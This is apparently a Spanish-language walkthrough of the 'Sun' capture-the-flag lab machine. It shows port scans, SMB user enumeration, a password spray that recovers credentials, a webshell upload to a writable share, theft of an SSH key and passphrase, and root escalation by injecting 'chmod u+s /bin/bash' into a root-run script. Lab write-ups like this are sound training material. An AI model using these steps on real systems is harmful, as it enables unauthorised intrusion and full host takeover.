18 - Sun - wh01s17

Enumeramos puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.72

❯ nmap -sCV -p 22,80,139,445,8080 -oN 02-targeted.txt 192.168.1.72
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-18 17:59 -03
Nmap scan report for 192.168.1.72
Host is up (0.0011s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp   open  http        nginx 1.22.1
|_http-title: Sun
|_http-server-header: nginx/1.22.1
139/tcp  open  netbios-ssn Samba smbd 4.6.2
445/tcp  open  netbios-ssn Samba smbd 4.6.2
8080/tcp open  http        nginx 1.22.1
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Sun
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2025-02-18T20:59:35
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: SUN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_clock-skew: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.41 seconds

Accediendo a http://192.168.1.72:8080/asdf confirmamos que corre un servidor ASP.NET. Enumeramos Samba con enum4linux y descubrimos el usuario punt4n0:

❯ enum4linux -a 192.168.1.72 -p 139
...
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\punt4n0 (Local User)
...

Hacemos password spray con netexec y obtenemos su contraseña:

❯ netexec smb 192.168.1.72 -u 'punt4n0' -p ~/Documentos/wordlists/rockyou_utf8.txt
...
SMB         192.168.1.72    445    SUN              [+] SUN\punt4n0:sunday
...

Listamos los recursos compartidos y vemos uno escribible (punt4n0, "File Upload Path"):

❯ smbclient -L 192.168.1.72 -U punt4n0 --password='sunday'

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (Samba 4.17.12-Debian)
        punt4n0         Disk      File Upload Path

Como el servidor ejecuta ASP.NET y el recurso es escribible, subimos una webshell .aspx (adaptada de OffensiveReverseShellCheatSheet, cambiando cmd.exe por bash y /c por -c). Accedemos a ella y leemos la clave id_rsa del usuario, junto a un .remember_password con la passphrase:

'cat .remember_password'
Th3_p0w3r_0f_IIS

Nos conectamos por SSH y obtenemos la primera flag:

❯ ssh punt4n0@192.168.1.72 -i id_rsa_punt4n0
Enter passphrase for key 'id_rsa_punt4n0': Th3_p0w3r_0f_IIS
punt4n0@sun:~$

Para escalar privilegios, en /opt hay un script PowerShell escribible. Le añadimos una instrucción que asigna el bit SUID a Bash (el script lo ejecuta root):

punt4n0@sun:/opt$ cat service.ps1
$idOutput = chmod u+s /bin/bash

$outputFilePath = "/dev/shm/out"

$idOutput | Out-File -FilePath $outputFilePath

punt4n0@sun:/opt$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1265648 abr 23  2023 /bin/bash

punt4n0@sun:/opt$ bash -p
bash-5.2# whoami
root

Obtenemos la flag y fin.